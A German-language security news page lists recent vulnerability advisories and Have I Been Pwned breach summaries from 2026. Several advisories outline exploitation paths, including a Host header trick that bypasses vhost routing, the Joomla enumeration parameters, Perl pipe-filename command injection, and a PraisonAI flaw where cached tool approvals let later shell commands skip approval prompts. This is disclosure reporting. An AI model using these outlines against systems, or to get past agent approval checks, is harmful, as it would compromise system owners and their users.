| ### Impact The `HmacSha256` class contained two functions: - `hash(payload)` — a plain unkeyed SHA-256 digest. The `Hmac` prefix in the class name was misleading; this function has no key parameter, so it could never have been an HMAC. - `hmacSHA256(key, data)` — a properly keyed HMAC-SHA256. A reader who didn't engage with the function signature could in principle have assumed `HmacSha256.hash(payload)` was somehow keyed, but the absence of any key parameter made that misuse unlikely in practice. **Who is affected:** any downstream caller who read the class name and used `HmacSha256.hash` as a message authentication code without noticing it takes no key. **Verified at v6.47.2.0: zero internal misuse in http4k itself.** Both production usages of `HmacSha256.hash` (AWS SigV4 canonical-request hashing in `AwsSignatureV4Signer.kt` and `x-amz-content-sha256` in `awsExtensions.kt`) are AWS-spec-correct uses of plain SHA-256; every keyed `hmacSHA256(key, data)` call passes a real key. The advisory exists so any downstream caller relying on the misleadingly-named API knows to migrate. ### Patches Upgrade to **6.49.0.0** or later. The fix introduces: - `Sha256.hash(input)` — unkeyed digest (the actual behaviour `HmacSha256.hash` provided). - `Sha256.hmac(key, input)` — keyed HMAC-SHA256 (the behaviour the name implied). `HmacSha256` is deprecated. Existing callers continue to work via deprecation shims; migrate to `Sha256.hash` or `Sha256.hmac` per intent. ### Workarounds If you cannot upgrade and you need a real HMAC-SHA256, use `javax.crypto.Mac.getInstance("HmacSHA256")` with a `SecretKeySpec`. For an unkeyed SHA-256 digest, use `java.security.MessageDigest.getInstance("SHA-256")`. The keyed `hmacSHA256(key, data)` was always correctly implemented and is safe to use as-is. ### References - Fix release: [v6.49.0.0](https://github.com/http4k/http4k/releases/tag/6.49.0.0) - Background: [RFC 2104 — HMAC: Keyed-Hashing for Message Authentication](https://datatracker.ietf.org/doc/html/rfc2104) | ||
| Risiko 5 / 10 GHSA-jrpc-7vxp-69p6 | vor 3 Stunde(n) | |
| ### Impact `reverseProxy()` and `reverseProxyRouting()` matched configured vhosts by substring on the `Host` header (`Contains` matcher) by default. The intended use of these functions in http4k is **outbound dispatch** (e.g. matching AWS service subdomains, per the `Contains` docstring) and **test-time composition** of fake backend networks. In either of those contexts the matched `Host` is set by the calling application, not by an external attacker, so the loose match has no exploit surface. If, however, `reverseProxy()` was deployed as a public-facing inbound HTTP handler — which the function technically supports but is not the documented intent — an external attacker could send `Host: admin.evil.com` and reach a vhost configured as `admin`, bypassing routing-based authorization. The `Contains` matcher's docstring explicitly documented this loose behaviour, but because `Contains` was the default, callers who never read the matcher docs would still get the loose behaviour. **Who is affected:** only deployments using `reverseProxy()` / `reverseProxyRouting()` as a public-facing inbound HTTP handler with two or more configured virtual hosts. The intended outbound / test-time usage is unaffected. If you *did* deploy `reverseProxy()` inbound and rely on multi-vhost routing for authorization, treat upgrade as urgent. ### Patches | Line | Fixed in | Edition | |------|----------|---------| | v6.x (Community) | **6.49.0.0** | Community | | v5.x (LTS) | **5.42.0.0** | Enterprise — contact [enterprise@http4k.org](mailto:enterprise@http4k.org) (if `reverseProxy()` is present in your v5.x line) | | v4.x (LTS) | **4.51.0.0** | Enterprise — contact [enterprise@http4k.org](mailto:enterprise@http4k.org) (if `reverseProxy()` is present in your v4.x line) | The fix changes the default matcher to `Exact`. Existing callers that genuinely need substring matching (e.g. AWS subdomain dispatch) must explicitly pass `matcher = Contains`. ### Workarounds For deployments that cannot upgrade immediately: wrap your `reverseProxy()` with a host-allow-list filter that requires an exact match against expected vhost names before delegating. | ||
| Risiko 7.5 / 10 CVE-2026-9375 | vor 5 Stunde(n) | |
| urllib3 version 2.6.3 is vulnerable to a decompression bomb bypass in its streaming API (`preload_content=False`) when using Brotli support. The issue arises due to three independent code paths in `response.py` that bypass the `max_length` protection introduced in version 2.6.0 to mitigate CVE-2025-66471. Specifically, negative `max_length` values can be produced due to buffer arithmetic in `read()`, `flush_decoder` unconditionally overrides `max_length` to `-1`, and `_flush_decoder()` passes no limit at all, defaulting to unlimited decompression. This allows a malicious HTTP server to trigger an out-of-memory (OOM) condition by decompressing large payloads into memory, leading to a denial of service (DoS). The vulnerability affects urllib3 2.6.3 and Brotli 1.2.0 and impacts applications and libraries using `requests` or `urllib3` to stream content from untrusted sources. | ||
| Risiko 5 / 10 CVE-2026-27878 | vor 5 Stunde(n) | |
| A TraceQL query in Grafana Tempo with a large exemplars hint value can cause the Tempo instance to allocate an excessive amount of memory, resulting in an out-of-memory crash. This could allow an authenticated user to trigger a denial of service against the Tempo service. | ||
| Risiko 5 / 10 CVE-2026-12726 | vor 5 Stunde(n) | |
| A flaw was found in the AWX GitHub webhook integration. When processing GitHub pull_request webhooks, the controller stores the pull_request.statuses_url value from the webhook payload without validating that it points to a trusted GitHub API endpoint. If a job template is configured with a GitHub Personal Access Token as its webhook credential, the controller later POSTs that token to the stored callback URL when posting job status updates. An attacker who can submit a correctly signed forged webhook using the job template's webhook_key can redirect the callback to an attacker-controlled URL and exfiltrate the configured GitHub PAT. | ||
| Risiko 5 / 10 CVE-2026-12238 | vor 5 Stunde(n) | |
| The WP Go Maps – Most Popular Map Plugin plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 10.1.01. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to create arbitrary records in plugin database tables (maps, markers, circles, polygons, polylines, rectangles, and point labels) by supplying a WPGMZA-namespaced CRUD-backed class name via the phpClass parameter. The namespace validation check (requiring the 'WPGMZA' prefix) does not prevent exploitation because classes such as WPGMZA\Map and WPGMZA\Marker satisfy it while still triggering an INSERT into the corresponding plugin table before the route rejects the request. | ||
| Risiko 7.5 / 10 CVE-2023-54357 | vor 5 Stunde(n) | |
| Joomla com_booking component 2.4.9 contains an information disclosure vulnerability that allows unauthenticated attackers to enumerate user accounts by exploiting the getUserData function in the customer controller. Attackers can send GET requests to index.php with option=com_booking, controller=customer, task=getUserData, and an id parameter to retrieve user names, usernames, and email addresses through brute force enumeration. | ||
| Risiko 7.5 / 10 GHSA-fwh2-95jw-g4j6 | vor 1 Tag(en) | |
| ## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-766v-q9x3-g744. This link is maintained to preserve external references. ## Original Description PraisonAI before 1.5.115 contains a path traversal vulnerability in MultiAgentMonitor that fails to sanitize agent IDs when building file paths. Attackers can include traversal sequences like ../ in agent IDs to read, write, or overwrite arbitrary files, enabling sensitive disclosure, denial of service, or code execution. | ||
| Risiko 5 / 10 GHSA-x44p-gg67-52fc | vor 1 Tag(en) | |
| ## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-ffp3-3562-8cv3. This link is maintained to preserve external references. ## Original Description PraisonAI before 1.5.128 caches tool approval decisions by tool name only, not by invocation arguments, allowing subsequent execute_command calls to bypass approval prompts. Attackers can exploit this by obtaining initial approval for a benign command, then silently exfiltrate API keys and credentials via subsequent shell commands without user consent. | ||
| Risiko 7.5 / 10 CVE-2026-11527 | vor 5 Tag(en) | |
| Config::IniFiles versions before 3.001000 for Perl allow OS command injection and file overwrite via a 2-arg open() of the -file argument in _make_filehandle. Config::IniFiles::_make_filehandle opens a filename argument with Perl's 2-arg open(), so a filename that begins or ends with a pipe ("| cmd", "cmd |") or begins with a redirect ("> path", ">> path") is run as a command or redirect rather than opened as a file. The helper is the open path behind the documented -file argument: new(-file => $thing) reaches it through ReadConfig. An in-memory scalar reference (-file => \$text) does not open a path and is unaffected. Any caller that forwards untrusted input to the -file argument can run an arbitrary command or truncate a file under the process UID. | ||
Das "CVE"-Repository (eng. Common Vulnerabilities and Exposures) stellt eine Liste bekannter Schwachstellen und Sicherheitslücken in IT-Systemen unter Führung des "US-amerikanischen National Cybersecurity" zusammen und bewertet diese anhand Ihres Risikos auf einer Skala von eins bis zehn.
Gerade im Bereich von Web-Technologien und Cloud-Software werden regelmäßig Hacks und Sicherheitslücken bekannt. Die betroffenen Unternehmen erleiden in der Regel nicht nur einen Image-Schaden sondern stehen womöglich gegenüber Ihren Kunden auch in der rechtlichen Verantwortung. Das Projekt "Have I Been Pwned" sammelt seit Jahren Daten die aus Hacks oder Datenlecks öffentlich zugänglich werden und bietet einen Service um zu prüfen, ob man selbst von diesen Hacks betroffen wurde.
| 18.06.2026 - Operation Endgame 4.0 | 153.527 Datensätze geleaked | |
| Email addresses, Passwords On 18 June 2026, the latest phase of Operation Endgame targeted the SocGholish malware operation, a prolific malware distribution network used to compromise systems and facilitate further cybercrime. Coordinated by international law enforcement agencies with support from Europol and Eurojust, the operation remediated almost 15,000 compromised websites and disrupted more than 100 servers and domains used to distribute malware. Authorities also provided HIBP with 154k impacted email addresses and more than half a million previously unseen passwords. |
||
| 15.06.2026 - June 2026 Stealer Logs | 56.278.397 Datensätze geleaked | |
| Email addresses, Passwords In June 2026, a collection of accumulated stealer logs from various sources was added to HIBP. The corpus comprised 56M unique email addresses across hundreds of millions of stealer log records. The data also contained 124M unique passwords, which have been added to Pwned Passwords and are now searchable. Individuals can view any records captured against their email address in the stealer logs section of their dashboard. Organisations can see logs affecting their domain via the stealer logs API. |
||
| 11.06.2026 - Ralph Lauren | 139.903 Datensätze geleaked | |
| Age groups, Email addresses, Genders, Names, Phone numbers In June 2026, fashion retailer Ralph Lauren was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published hundreds of gigabytes of data they claimed was obtained from the organisation's Salesforce instance, including 140k unique email addresses along with names, phone numbers, genders and age groups. |
||
| 09.06.2026 - University of Nottingham | 454.635 Datensätze geleaked | |
| Academic records, Citizenship statuses, Dates of birth, Disabilities, Email addresses, Ethnicities, Genders, IP addresses, Names, Passport numbers, Phone numbers, Physical addresses, Purchases, Salutations, Usernames In June 2026, the University of Nottingham was the target of a cyber attack, later linked to a ShinyHunters "pay or leak" extortion campaign. Tens of gigabytes of data were subsequently published online and included 455k unique email addresses along with extensive personal information including names, addresses, phone numbers, ethnicities, disabilities, passport numbers and information relating to academic enrolments and fee payments. In a post about the incident, the university advised that the breach affected both "current students, and alumni". |
||
| 30.05.2026 - Atlas Menu | 63.926 Datensätze geleaked | |
| Email addresses, IP addresses, Passwords, Support tickets, Usernames In May 2026, the GTA V and CS2 cheat service Atlas Menu suffered a data breach. An attacker claimed to have gained access to all Atlas systems and published the service's database to a public GitHub repository. The incident exposed 64k unique email addresses along with usernames, IP addresses, support tickets and passwords stored as bcrypt hashes. |
||
| 29.05.2026 - BCD Travel | 396.313 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the corporate travel management company BCD Travel was claimed as a victim of the ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from BCD was subsequently published publicly in early June and contained 396k unique email addresses. Other exposed data included names, addresses, phone numbers, job titles and employer names, spanning a variety of different data sets including leads, internal staff and support tickets. |
||
| 23.05.2026 - Baker Distributing | 102.935 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In May 2026, the HVAC/R wholesale distributor Baker Distributing Company was added to the ShinyHunters data extortion group's "pay or leak" site. In early June, the group publicly published data they claimed had been obtained from Baker's SharePoint and Salesforce infrastructure including 103k unique email addresses along with names, physical addresses, phone numbers and tickets relating to the company's HVAC contractor customer base. The exposed data was largely corporate contact and support information with limited sensitivity. |
||
| 23.05.2026 - Charter | 4.851.517 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In May 2026, the telecommunications company Charter Communications (the parent company behind the consumer broadband and cable brand Spectrum) was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group later published the data, which exposed 4.9M unique email addresses along with names, phone numbers and physical addresses. A subset of approximately 85k records originating from an internal employee directory also included job titles. Charter confirmed the incident, but stated that no sensitive personal information or customer proprietary network information (CPNI) was exfiltrated. |
||
| 23.05.2026 - DentaQuest | 2.553.599 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Government issued IDs, Health insurance information, Names, Phone numbers, Physical addresses In May 2026, the dental benefits administrator DentaQuest was the target of a ShinyHunters "pay or leak" extortion campaign that resulted in the group publicly publishing hundreds of gigabytes of data allegedly obtained from the company. The data included 2.6M unique email addresses along with names, addresses and phone numbers. Much of the data appeared in healthcare enrollment files (ASC X12 transaction sets) with some containing Medicaid IDs, while additional data appeared in member records and related files. DentaQuest acknowledged "a cybersecurity incident involving unauthorized access to a limited portion of our network", and advised they had contained the attack and mitigated the threat. |
||
| 05.05.2026 - Cushman & Wakefield | 310.431 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations In May 2026, the real estate services firm Cushman & Wakefield was the target of a "pay or leak" extortion campaign by the ShinyHunters group. Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers. |
||
| 30.04.2026 - Reborn Gaming | 126 Datensätze geleaked | |
| Email addresses, IP addresses In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM). The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned. |
||
| 28.04.2026 - Vimeo | 119.167 Datensätze geleaked | |
| Email addresses, Names In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their "pay or leak" campaign. They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include "Vimeo video content, valid user login credentials, or payment card information". |
||
| 26.04.2026 - CTT | 468.124 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum. The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel. |
||
| 24.04.2026 - Udemy | 1.401.259 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer. |
||
| 20.04.2026 - ADT | 5.488.888 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses In April 2026, home security firm ADT confirmed a data breach by ShinyHunters, which listed the company on its website as part of a "pay or leak" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that "in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included" and that it had contacted all affected people. |
||
| 20.04.2026 - Aman | 215.563 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a "pay or leak" extortion campaign, with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes. |
||
| 20.04.2026 - Canada Life | 237.810 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations, Support tickets In April 2026, Canada Life was the victim of a "pay or leak" extortion campaign by the ShinyHunters group. The group subsequently published the data which contained over 200k unique email addresses along with names, phone numbers, physical addresses and, in some cases, customer support tickets. In their disclosure notice, Canada Life advised that "it is a small proportion of our customers who may have been impacted". In the wake of the incident, Canada Life also published an alert cautioning customers to be wary of phishing attacks, a pattern often seen after the public release of breached data. |
||
| 20.04.2026 - Pitney Bowes | 8.243.989 Datensätze geleaked | |
| Email addresses, Job titles, Names, Phone numbers, Physical addresses In April 2026, the hacking collective ShinyHunters claimed to have obtained data from Pitney Bowes as part of a broader extortion campaign that also named several other organisations. After negotiations allegedly failed, the group publicly released the data which included 8.2M unique email addresses, along with names, phone numbers and physical addresses. A subset of the data also included Pitney Bowes employee records with job titles. |
||
| 18.04.2026 - Carnival | 7.531.359 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Geographic locations, Loyalty program details, Names, Salutations In April 2026, the notorious hacking collective ShinyHunters claimed they had obtained a substantial volume of data belonging to the Carnival cruise operator and attempted to extort the organisation to prevent the data from being leaked. The following week, the group published the data publicly, which contained 8.7M records with 7.5M unique email addresses. The data contained fields indicating it related to the Mariner Society loyalty program run by Holland America, a cruise line brand under Carnival, and included names, dates of birth, genders and data relating to status within the loyalty program. Carnival acknowledged a phishing incident involving a single user account and advised they were working to better understand the scope of the unauthorised activity. |
||
| 15.04.2026 - Kemper | 269.299 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases In April 2026, the American insurance holding company Kemper Corporation was named by the ShinyHunters ransomware group in a "pay or leak" extortion campaign. The attackers allegedly accessed Kemper's Salesforce environment via social engineering as part of a broader campaign targeting hundreds of organisations using the same method. The group later published tens of gigabytes of data they claimed included internal directory data, Salesforce records and Stripe payment logs. Among the 269k unique email addresses were names, phone numbers, physical addresses and partial payment card data including the last 4 digits, expiry dates and card brands. Kemper confirmed the incident and stated they had engaged third-party cybersecurity experts and notified law enforcement. |
||
| 15.04.2026 - Zara | 197.376 Datensätze geleaked | |
| Email addresses, Geographic locations, Purchases, Support tickets In April 2026, the fashion brand Zara was among a number of organisations targeted by the ShinyHunters extortion group as part of their "pay or leak" campaign. The group claimed the breach was related to a compromise of the Anodot analytics platform and subsequently published a terabyte of data allegedly including 95M support ticket records. The data contained 197k unique email addresses alongside product SKUs, order IDs and the market the support ticket originated in. Zara's parent company Inditex advised that the incident didn't affect passwords or payment information. |
||
| 14.04.2026 - Abrigo | 711.099 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the fintech software company Abrigo was targeted in a "pay or leak" extortion attempt by the ShinyHunters group. Shortly after, data allegedly taken from the company's Salesforce instance was published publicly and contained over 700k unique email addresses belonging to both Abrigo staff and external contacts. Whilst separate from Abrigo's Salesforce compromise via the Drift application connector the previous year, the data fields described in that incident are consistent with the ShinyHunters data, namely that it was "business contact information" including "institution name, employee name, email addresses, and phone numbers". |
||
| 12.04.2026 - Marcus & Millichap | 1.837.078 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses In April 2026, the commercial real estate brokerage firm Marcus & Millichap was named as one of multiple alleged victims of the ShinyHunters hacking and extortion group. Data alleged to have been obtained from the company was subsequently released publicly and included 1.8M unique email addresses, along with names, phone numbers and employment-related information including employer, job title and physical company address. In their disclosure notice, Marcus & Millichap advised that data which may have been accessed appeared limited to "company forms, templates, marketing materials, and general contact information". |
||
| 12.04.2026 - Mytheresa | 84.108 Datensätze geleaked | |
| Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases, Salutations In April 2026, the luxury fashion e-commerce platform Mytheresa was listed as a victim of the ShinyHunters "pay or leak" extortion group. After the ransom deadline passed, the group publicly released the data which contained 84k unique email addresses. The exposed data also included names, phone numbers, physical addresses, purchases and partial credit card data including card type, last 4 digits and expiry date. |
||
| 10.04.2026 - McGraw Hill | 13.500.136 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses In April 2026, education company McGraw Hill confirmed a data breach following an extortion attempt. Attributed to a Salesforce misconfiguration, the company stated the incident exposed "a limited set of data from a webpage hosted by Salesforce on its platform". More than 100GB of data was later publicly distributed, containing 13.5M unique email addresses across multiple files, with additional fields such as name, physical address and phone number appearing inconsistently across some records. |
||
| 08.04.2026 - 7-Eleven | 185.256 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Phone numbers, Physical addresses In April 2026, 7-Eleven was the victim of a "pay or leak" extortion campaign by ShinyHunters, with the data later published that month. The incident exposed 185k unique email addresses, along with names, physical addresses, dates of birth and phone numbers. A small number of records also contained additional exposed data fields. The company later advised the breach was limited to "certain 7-Eleven systems used to store franchisee documents", a statement consistent with the exposed data. |
||
| 07.04.2026 - My Lovely AI | 106.271 Datensätze geleaked | |
| Email addresses, Social media profiles In April 2026, the NSFW AI girlfriend platform My Lovely AI suffered a data breach that exposed over 100k users. The data included user-created prompts and links to the resulting AI-generated images, along with a small number of Discord and X usernames. |
||
| 06.04.2026 - LegionProxy | 10.144 Datensätze geleaked | |
| Email addresses, Names, Passwords, Purchases In April 2026, the commercial residential and ISP proxy network LegionProxy suffered a data breach. The incident exposed 10k email addresses, bcrypt password hashes, names and purchases. |
||
| 03.04.2026 - Amtrak | 2.147.679 Datensätze geleaked | |
| Email addresses, Names, Physical addresses, Support tickets In April 2026, the hacking group ShinyHunters claimed they had breached Amtrak. The group typically compromises organisations' Salesforce instances before demanding a ransom and later, if not paid, dumping the data publicly. They subsequently published the alleged data which contained over 2M unique email addresses along with names, physical addresses and customer support records. |
||
| 02.04.2026 - SongTrivia2 | 291.739 Datensätze geleaked | |
| Auth tokens, Avatars, Email addresses, Names, Passwords, Usernames In April 2026, the music trivia platform SongTrivia2 suffered a data breach that was subsequently published to a public hacking forum. The data contained a total of 291k unique email addresses sourced from either Google OAuth logins or accounts created on the site, the latter also containing bcrypt password hashes. The data also included names, usernames and avatars. |
||
| 31.03.2026 - Hallmark | 1.736.520 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In March 2026, Hallmark suffered an alleged breach and subsequent extortion after attackers gained access to data stored within Salesforce. The data was later published after the extortion deadline passed, exposing 1.7M unique email addresses across both Hallmark and the Hallmark+ streaming service, along with names, phone numbers, physical addresses and support tickets. |
||
| 27.03.2026 - ZenBusiness | 5.118.184 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In March 2026, the hacker and extortion group "ShinyHunters" claimed to have obtained a substantial corpus of data from ZenBusiness, a business formation and compliance platform. The group claimed the data had been exfiltrated from platforms including Snowflake, Mixpanel and Salesforce, and threatened to publish it if a ransom was not paid. The following month, after claiming payment had not been made, ShinyHunters publicly released the data. The collection amounted to many terabytes across thousands of files that appeared to originate from multiple systems and business functions, including leads, support records and other CRM-related data. The data contained approximately 5M unique email addresses, often accompanied by name and phone number depending on the source file. |
||
| 26.03.2026 - BreachForums Version 5 | 339.778 Datensätze geleaked | |
| Email addresses, Passwords, Usernames In March 2026, a breach of one of the many iterations of the BreachForums hacking forum known as "Version 5" was publicly disclosed. The incident exposed 340k unique email addresses along with usernames and argon2 password hashes. |
||
| 25.03.2026 - Addi | 34.532.941 Datensätze geleaked | |
| Age groups, Credit scores, Device information, Email addresses, Government issued IDs, Income levels, IP addresses, Latitude and longitude pairs, Names, Phone numbers, Physical addresses, Purchases, Socioeconomic levels In March 2026, the Colombian fintech company Addi identified unauthorised activity on its platform and advised customers that "it is possible that your personal information may have been compromised". The "pay or leak" extortion group ShinyHunters subsequently claimed responsibility and published a large trove of personal data allegedly obtained from Addi. The data included 34M unique email addresses from credit scoring requests, credit bureau records, customer identity records and email validation logs. It also contained government issued IDs (Cédula de Ciudadanía), estimated income, socioeconomic levels, purchases and other credit-related data points. |
||
| 25.03.2026 - Sound Radix | 292.993 Datensätze geleaked | |
| Email addresses, Names, Passwords In March 2026, the audio production tools company Sound Radix disclosed a data breach that they subsequently self-submitted to HIBP. The incident impacted 293k unique email addresses and names. Sound Radix advised that it is possible that additional data including hashed passwords may have been exposed, and that no financial or credit card information was impacted. |
||
| 19.03.2026 - Berkadia | 305.216 Datensätze geleaked | |
| Email addresses, Employers, Names, Phone numbers, Physical addresses In March 2026, the commercial real estate finance company Berkadia was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they alleged was taken from Berkadia's Salesforce instance, including over 300k unique email addresses as well as names, physical addresses and phone numbers, among other data. |
||
| 18.03.2026 - Infinite Campus | 137.123 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets, Usernames In March 2026, the student information system Infinite Campus was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they alleged was taken from Infinite Campus, containing 137k unique email addresses along with names, phone numbers, physical addresses and support tickets. Infinite Campus subsequently sent notifications, advising that the exposed data largely consisted of "names and contact information for school staff" and that "the majority is directory information commonly found on school websites". |
||
| 13.03.2026 - Divine Skins | 105.814 Datensätze geleaked | |
| Email addresses, Purchases, Usernames In March 2026, the League of Legends custom skins service Divine Skins suffered a data breach. The incident was disclosed via the service's Discord server, where Divine Skins stated that an unauthorised third party accessed part of its systems, deleted all skins from the database and exposed email addresses and usernames. The data also contained a history of purchases made by users. |
||
| 12.03.2026 - Crunchyroll | 1.195.684 Datensätze geleaked | |
| Email addresses In March 2026, the anime streaming service Crunchyroll suffered a data breach alleged to have impacted 6.8M users. The exposed data is reported to have originated from the company's Zendesk support system where "name, login name, email address, IP address, general geographic location and the contents of the support tickets" were exposed. A subset of 1.2M email addresses from an alleged 2M record dataset being sold was later provided to HIBP. |
||
| 08.03.2026 - Baydöner | 1.266.822 Datensätze geleaked | |
| Dates of birth, Email addresses, Genders, Geographic locations, Government issued IDs, Names, Passwords, Phone numbers, Purchases In March 2026, the Turkish restaurant chain Baydöner suffered a data breach which was subsequently published to a public hacking forum. The incident exposed over 1.2M unique email addresses along with names, phone numbers, cities of residence and plaintext passwords. A small number of records also included Turkish national ID number and date of birth. In their disclosure notice, Baydöner stated that payment and financial data was not affected. |
||